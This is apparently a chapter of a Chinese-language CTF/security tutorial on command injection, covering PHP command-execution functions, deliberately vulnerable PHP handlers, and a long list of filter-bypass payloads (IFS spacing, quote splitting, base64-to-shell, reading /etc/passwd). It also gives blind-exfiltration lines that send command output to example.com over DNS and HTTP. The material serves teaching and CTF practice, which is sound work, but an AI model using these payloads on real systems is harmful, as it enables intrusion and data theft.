Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

命令注入漏洞

允许攻击者向应用程序注入和执行系统命令。这种漏洞通常发生在应用程序未能正确验证或过滤用户输入,使得恶意输入能够直接传递给系统命令执行。

RCE(Remote Command Execution 或 Remote Code Execution)即远程命令执行或远程代码执行。

代码执行与命令执行的区别?

?> 在学习本节之前,建议先学习Bash 基础

命令分隔符

名称示例说明
;whoami;ls命令结束符,允许一行多条命令按顺序执行,所有命令均会运行。Windows 系统下命令提示符cmd不支持该语法。
\&\&whoami&&ls逻辑与,仅当第一条命令成功,才执行第二条命令。
||whoami||ls逻辑或,仅当第一条命令失败,才执行第二条命令。
|管道符,两条命令都执行,第一条命令的输出作为第二条命令的输入,其中第一条命令的输出不显示。
\&后台执行,两个命令同时执行。
%0APHP 环境下使用。

输入输出重定向

$(ls) ls${}${IFS}id

变量 模式扩展

  • 花括号扩展 输出重定向

command > file,将输出重定向到 file

转义字符

Bash 转义字符反斜杠\

换行符是一个特殊字符,表示命令的结束,Bash 收到这个字符以后,就会对输入的命令进行解释执行。换行符前面加上反斜杠转义,就使得换行符变成一个普通字符,Bash 会将其当作长度为 0 的空字符处理,从而可以将一行命令写成多行。

PHP 中的escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。可以使用换行符构造多行命令。

Linux 下的与文件相关命令

  • 列目录、文件
/ls|dir/
  • 读文件内容
/cat|tac|tail|head|more|less|uniq|strings|sort|od|/
if (!preg_match('/|dir|nl|nc||flag|sh|cut|awk||od|curl|ping|\*||ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo||cc||\.|{|}|tar|zip|gcc||vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
        echo system($cmd);
  }

PHP 命令执行相关函数

system()、exec() 和 shell_exec() 等函数均通过调用 /bin/sh -c 来执行传入的命令字符串。

system()

执行命令,并且显示输出。成功则返回命令输出的最后一行,失败则返回false

<?php
system('whoami'); // root
echo system('whoami');
/*
 * root
 * root
 * 会输出两个结果,注意,第二个为仅包含最后一行的返回值。
 */

exec()

执行命令,返回命令输出的最后一行内容。

<?php
exec('whoami'); // 无任何输出
var_dump(exec('whoami'));  // string(4) "root",输出最后一行内容

shell_exec()

通过 shell 执行命令并将完整的输出以字符串的方式返回

<?php
shell_exec('whoami'); // 无任何输出
var_dump(shell_exec('whoami'));
/*
 * string(5) "root
 * "
 * 原始输出,换行符
 */

反引号(``)

执行运算符,将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,与函数 shell_exec() 相同。

<?php
`whoami`; // 无任何输出
var_dump(`whoami`);
/*
 * string(5) "root
 * "
 * 原始输出,换行符
 */

passthru()

执行外部程序并且显示原始输出

成功时返回 null, 或者在失败时返回 false。

<?php
passthru('whoami'); // root
var_dump(passthru('whoami'));
/*
 * root
 * NULL
 */

pcntl_exec

在当前进程空间执行指定程序

pcntl_exec("/bin/bash",array($_POST["cmd"]));
pcntl_exec("/bin/bash",array('whoami'));

popen

打开进程文件指针

proc_open()

执行一个命令,并且打开用来输入/输出的文件指针

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

echo proc_open('whoami', $descriptorspec, $pipes);

可以赋给一个变量而不是简单地丢弃到标准输出

绕过技巧

# RCE绕过技巧

## 绕过空格
- IFS
- {}
- 十六进制
## 绕过黑名单
- 字符类
 - 单引号、双引号
 - 反引号
 - 转义字符
- 变量
 - 变量拼接
 - 未初始化的变量
- 编码转换
 - Base64
 - 十六进制
 - 大小写
 - 逆序
- 模式扩展
## 长度限制绕过
- 五字符
- 四字符
## 无数字字母
 - 123

## 无回显
- 反弹shell
- DNS信道
- HTTP信道

绕过空格

<?php
highlight_file(__FILE__);

// 获取用户输入的命令
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : die("No command provided");

// 过滤用户输入的命令:移除空格
$cmd = str_replace(" ", "", $cmd);

// 输出用户输入的命令(转义以防止 XSS)
echo "CMD: " . htmlspecialchars($cmd) . "<br>";

// 执行命令
system($cmd);
  • $IFS${IFS}$IFS$9

环境变量 IFS(Internal Field Separator,内部字段分隔符),默认情况下由空格制表符换行符组成,可通过set命令查看。

${IFS}使用{}可以避免出现变量名与其他字符连用的情况。$9是当前命令的第 9 个参数,通常为空。习惯上,使用$IFS$9可避免避免变量名连用,也不出现花括号。

cat$IFS/etc/passwd
cat${IFS}flag
cat$IFS$9flag
{cat,/etc/passwd}
  • 重定向运算符
# 输入重定向
cat</etc/passwd

# 读写
cat<>/etc/passwd
  • $'string'特殊类型的单引号(ANSI-C Quoting)

$''属于特殊的单引号,支持转义字符。

# 十六进制
X=$'cat\x20/etc/passwd';$X

# 换行符
x=$'cat\n/etc/passwd';$x
x=$'cat\t/etc/passwd';$x
  • 使用制表符
;ls%09-al%09/home
  • 变量截取

绕过黑名单

<?php
highlight_file(__FILE__);

// 获取用户输入的命令
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : die("No command provided");

// 检查用户输入的命令是否包含黑名单中的命令
$blacklist = ['ls', 'cat', 'flag'];
foreach ($blacklist as $value) {
    if (stripos($cmd, $value) !== false) {
        die("HACKER!");
    }
}

// 输出用户输入的命令(转义以防止 XSS)
echo "CMD: " . htmlspecialchars($cmd) . "<br>";

// 执行命令
system($cmd);
  • 引号(单引号、双引号、反引号)
# 单引号
w'h'o'am'i
wh''oami

# 双引号
w"h"o"am"i
wh""oami

# 反引号\`
wh``oami
  • 反斜线\(转义字符)
wh\oami

转义字符(%5C)和换行符(%0A)连用,实现命令续行,以下是经 URL 编码示例:

ca%5C%0At%20/et%5C%0Ac/pa%5C%0Asswd
  • 变量
# 变量拼接
a=f;b=lag;cat $a$b # cat flag

# 未初始化的变量,等价于null
ca${u}t f${u}lag
  • 模式扩展
# 通配符`?`代表任意单个字符,不包括空字符,如果匹配多个字符,需要多个`?`连用
cat fla?
cat fl??

# 通配符`*`代表任意数量的任意字符,包括零个字符
cat f*

# 方括号扩展[]
cat [f]lag

# 花括号扩展{}
cat {f,}lag

# 子命令扩展
cat /fla$(u)g
cat /fla`u`g
  • 编码转换
# base64
echo "d2hvYW1pCg=="|base64 -d|sh # whoami
echo "d2hvYW1pCg=="|base64 -d|$0 # whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# 逆序,bash
$(rev<<<'imaohw') # whoami

# 大小写
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")

# 十六进制

  • 位置参数的特殊变量$@$*

$@$*代表全部的位置参数,当没有位置参数时,扩展为空。如,``

who$@ami
who$*ami

绕过管道符|

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

反斜杠\和斜杠/绕过

# ${varname:offset:length} 子字符串
cat ${HOME:0:1}etc${HOME:0:1}passwd

# 字符替换
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

绕过 IP 限制

127.0.0.1 == 2130706433

绕过长度限制

15 位

命令执行 5 位 (HITCON 2017 Quals Babyfirst Revenge)

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    @exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
    @exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

命令执行 4 位(HITCON 2017 Quals Babyfirst Revenge v2)

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
    @exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
    @exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

无回显

  • 反弹 shell

https://your-shell.com/

  • 结果写入文件,二次返回

主要利用是输出重定向符号>将标准输出重定向到可写可访问的目录下。

# 将输出结果保存到当前目录下的1.txt文件
ls -al>1.txt
  • DNS 信道

利用 DNS 解析特殊构造的域名,通过查看 DNS 解析记录获得结果。平台有 dnslog.cnhttps://requestrepo.com/

ping `whoami`.example.com
curl `whoami`.example.com
wget -O- `ls|base64`.example.com
  • HTTP 信道

利用 HTTP 协议,GET 或 POST 请求,获取结果。通常,如果数据量大,通过 POST 方法。

https://requestrepo.com/

# 通过URL传送
curl example.com/`whoami`
curl example.com/`ls|base64`
wget -O- example.com/`ls|base64`

# 通过POST
curl -X POST --data `ls|base64` example.com
wget --post-data "$(ls|base64)" -O- example.com
  • 延时

经典赛题分析

参考资料